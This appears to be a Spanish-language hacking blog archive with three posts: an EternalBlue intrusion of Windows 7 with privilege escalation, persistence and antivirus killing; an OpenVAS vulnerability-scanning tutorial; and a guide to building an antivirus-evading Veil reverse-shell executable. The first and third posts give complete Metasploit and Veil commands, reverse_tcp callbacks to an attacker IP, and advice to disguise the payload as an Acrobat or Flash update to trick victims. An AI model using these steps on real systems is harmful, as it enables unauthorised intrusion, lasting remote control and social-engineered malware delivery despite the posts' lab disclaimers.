Mostrando entradas con la etiqueta Windows 7. Mostrar todas las entradas
Mostrando entradas con la etiqueta Windows 7. Mostrar todas las entradas

viernes, 28 de julio de 2017

Intrusión a Windows 7 + bypass UAC + persistencia

Hola amigos, en el post de hoy vamos a hackear Windows 7 64 bits a través del exploit eternal blue, sin embargo, con él, se puede hackear también Windows 8 y Windows 10 (hasta Redstone 1) además, nos saltaremos el uac control y le añadiremos persistencia, para que podamos volver a tener acceso a él, aunque el dueño apague el ordenador.

En primer lugar, vamos a actualizar metasploit

apt-get install metasploit-framework

o bien

msfupdate

Iniciamos metasploit

msfconsole



use exploit/windows/smb/ms17_010_eternalblue

set RHOST 192.168.1.134

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.131

exploit



getuid



getsystem



Creamos un payload con veil (en otro puerto distinto, por ejemplo, el 4448), os aconsejo en ruby. Lo llamaré eternalblue.

Abrimos un nueva sesión de msfconsole con el handler que nos creó veil.

msfconsole -r /usr/share/veil-output/handlers/eternalblue.rc

En la primera sesión de metasploit, lo subimos (si no podéis subirlo al directorio en el que estéis, probad otro).

upload c:/usr/share/veil-output/compiled/eternalblue.exe

Y ejecutamos:

execute -f c:/directorio_payload_veil_subido/eternalblue.exe

Nos pasamos al metasploit de veil, nos habrá abierto una sesión de meterpreter

Configuramos la persistencia:

En primer lugar, copiamos eternalblue.exe a otro archivo distinto, eternalblue2 (no borres el primero, sólo copialo)

background

use post/windows/manage/persistence_exe

set REXENAME eternalblue2.exe

set REXEPATH /usr/share/veil-output/compiled/eternalblue2.exe

set STARTUP SYSTEM

Os cuento: en STARTUP debemos meter lo que nos ha salido cuando hicimos el getuid, bien USER,SYSTEM o SERVICE.

El módulo, subirá el payload eternalblue.exe de la máquina atacante a la vícitima y lo nombrará (en la víctima) como eternalblue2.exe.



Para más información sobre el módulo, info post/windows/manage/persistence_exe

Ejecutamos el módulo:

run

Si os sale un error, diciendo que stdapy está ejecutándose, cerrad la sesión que sacamos con el exploit eternalblue.

Otra opción para crear la persistencia, si usas un kali más antiguo, es persistence:

run persistence -U -i 10 -p 4444 -r 192.168.1.131

-U: Cuando el usuario comprometido abra su sesión, se ejecutará.
-p: Puerto del equipo atacante que estará a la escucha.
-r: ip del atacante.
-i: Tiempo en segundos que esperará para intentar una nueva conexión, en nuestro caso, si no ha sido capaz de crear la conexión con el atacante, esperará 10 segundos.

Más opciones haciendo run persistence -h

Ah, para matar el antivirus run killav o bien con el módulo post/windows/manage/killav

viernes, 26 de febrero de 2016

Escaneo de vulnerabilidades con OpenVas

Hola a todos

Hoy toca configurar OpenVas

OpenVas es una aplicación abierta para análisis de vulnerabilidades en un sistema.

En primer lugar, realizamos la configuración inicial:

Aplicaciones –> Análisis de vulnerabilidades → OpenVas Initial Setup




Después de un buen rato:




Apuntamos la contraseña en un papel.

Esto ya no lo vamos a tener que volver a hacer.

Para ejecutar, nos vamos a

Aplicaciones → Análisis de vulnerabilidades → OpenVas Start

Y se inicia el servicio OpenVas.



Abriremos el navegador con la dirección:




Le decimos que entendemos los riesgos.



Añadimos excepción



Confirmamos excepción de seguridad.


Usuario: Admin.

Password: La contraseña que nos dió en la salida.



Vamos a escanear nuestro Windows 7, con IP 192.168.1.131




Presionamos Start Scan y ponemos que se refresque la pantalla cada 30 segundos (o el tiempo que quieras)








En el apartado Severity podremos ver el grado de peligrosidad de las vulnerabilidades del sistema analizado.

Clickeando en Report, podremos ver un informe sobre las vulnerabilidades del sistema escaneado.



Podremos descargarnos el informe en formato pdf, HTML, XML, LaTeX, txt, etc.



El resto de las opciones, como actualizar la base de datos de CVE (vulnerabilidades), opciones de escaneo, etc. son bastante intuitivas, por eso no creo que sea necesario profundizar en ellas.

Debemos parar el servicio de OpenVas, para ello nos vamos a

Aplicaciones → Análisis de vulnerabilidades → Stop OpenVas

Usa este tipo de herramientas de forma legal. Yo, para los posts, estoy utilizando un laboratorio de pentesting y animo siempre a que se haga siempre dentro del marco de la ley.

Saludos a todos y HAPPY HACKING !!!!



viernes, 5 de febrero de 2016

Intrusión a Windows 7 evadiendo firewall de Windows y Antivirus

ADVERTENCIAS: 
  • La información siguiente puede ser utilizada para fines delictivos. No me hago responsable del uso de la misma. 
  • La práctica ha sido realizada en un entorno controlado.

Hola a todos:

Hoy, en lugar de seguir con XSS, se me ha ocurrido hacer una pequeña intrusión a un equipo local con Windows 7 Professional, de 32 bits, con Avast Antivirus y Firewall de Windows activado.


Para ello, abrimos la consola en Kali Linux y ejecutamos

veil-evasion

y actualizamos con update




con list, visualizamos los payloads posibles, usaremos el 31, python/meterpreter/reverse_tcp


Como es un Windows a 32 bits, dejamos la arquitectura a 32 bits.
Dejamos Y para que compile de Python a un archivo ejecutable.
Dejamos X en la parte de EXPIRE_PAYLOAD para que no caduque. En caso contrario, pondríamos el número de días que queremos que el PAYLOAD se siga ejecutando.
En LHOST, pondremos la dirección IP interna de la máquina atacante, en nuestro caso será 192.168.1.131.
Dejamos el puerto tal y como está, si queremos, lo podemos cambiar a otros puertos.
No usaremos PYHERION para encriptar, pero podríamos usarlo perfectamente.

Modificamos la IP interna como decíamos antes con

set LHOST 192.168.1.131

En su lugar, podemos poner también una dirección DNS.

­
generate

así generaremos el PAYLOAD.

Nos pedirá el nombre para el PAYLOAD, yo lo llamaré manugomez1977.

Crearemos el PAYLOAD con la primera opción, Pyinstaller.




El ejecutable nos lo ha guardado en la carpeta /var/lib/veil-evasion/output/compiled/manugomez1977.exe

Su código fuente, en python, en /var/lib/veil-evasion/output/source/manugomez1977.py

Y el Handler para Metasploit en /var/lib/veil-evasion/output/handlers/manugomez1977_handler.rc.

El archivo Handler es un script para Metasploit que ejecuta todos los comandos que tendríamos que poner a mano, así nos ahorramos tiempo.

IMPORTANTE: No subáis el archivo a ningún antivirus online.

El siguiente paso es pasar el ejecutable manugomez1977.exe al equipo víctima. ¿Cómo?, nos buscaremos la vida.

Por ejemplo, yo voy a montar un servidor web con apache y le pasaré el enlace.

service apache2 start

cp /var/lib/veil-evasion/output/compiled/manugomez1977.exe 7 /var/www/

Ahora, es cuestión de enviar el enlace a la víctima. Podríamos redireccionarla envenenando la tabla
ARP del router, pero, en este caso, vamos a hacerlo a través de enlace.

En la barra de direcciones, la víctima pondrá:




Aunque hemos puesto como nombre de archivo manugomez1977, podríamos haber puesto el nombre de una actualización de Acrobat reader, Flash, Java, etc. para engañarla y asegurarnos de que la abra.

Es el momento de abrir Metasploit, para ello pondremos la dirección del handler:

msfconsole -r /var/lib/veil-evasion/output/handlers/manugomez1977_handler.rc



La victima, ejecutará el archivo:


El antivirus analiza el archivo:



Sin embargo, a nosostros, nos ha abierto una conexión procedente de la máquina víctima:


con sessions -i, podemos ver las conexiones activas.



Con sessions -i 2 interactuamos con la sesión de meterpreter....y..... a jugar !!!!!!!!!!!!!!!!!!!!


Happy Hacking ;-)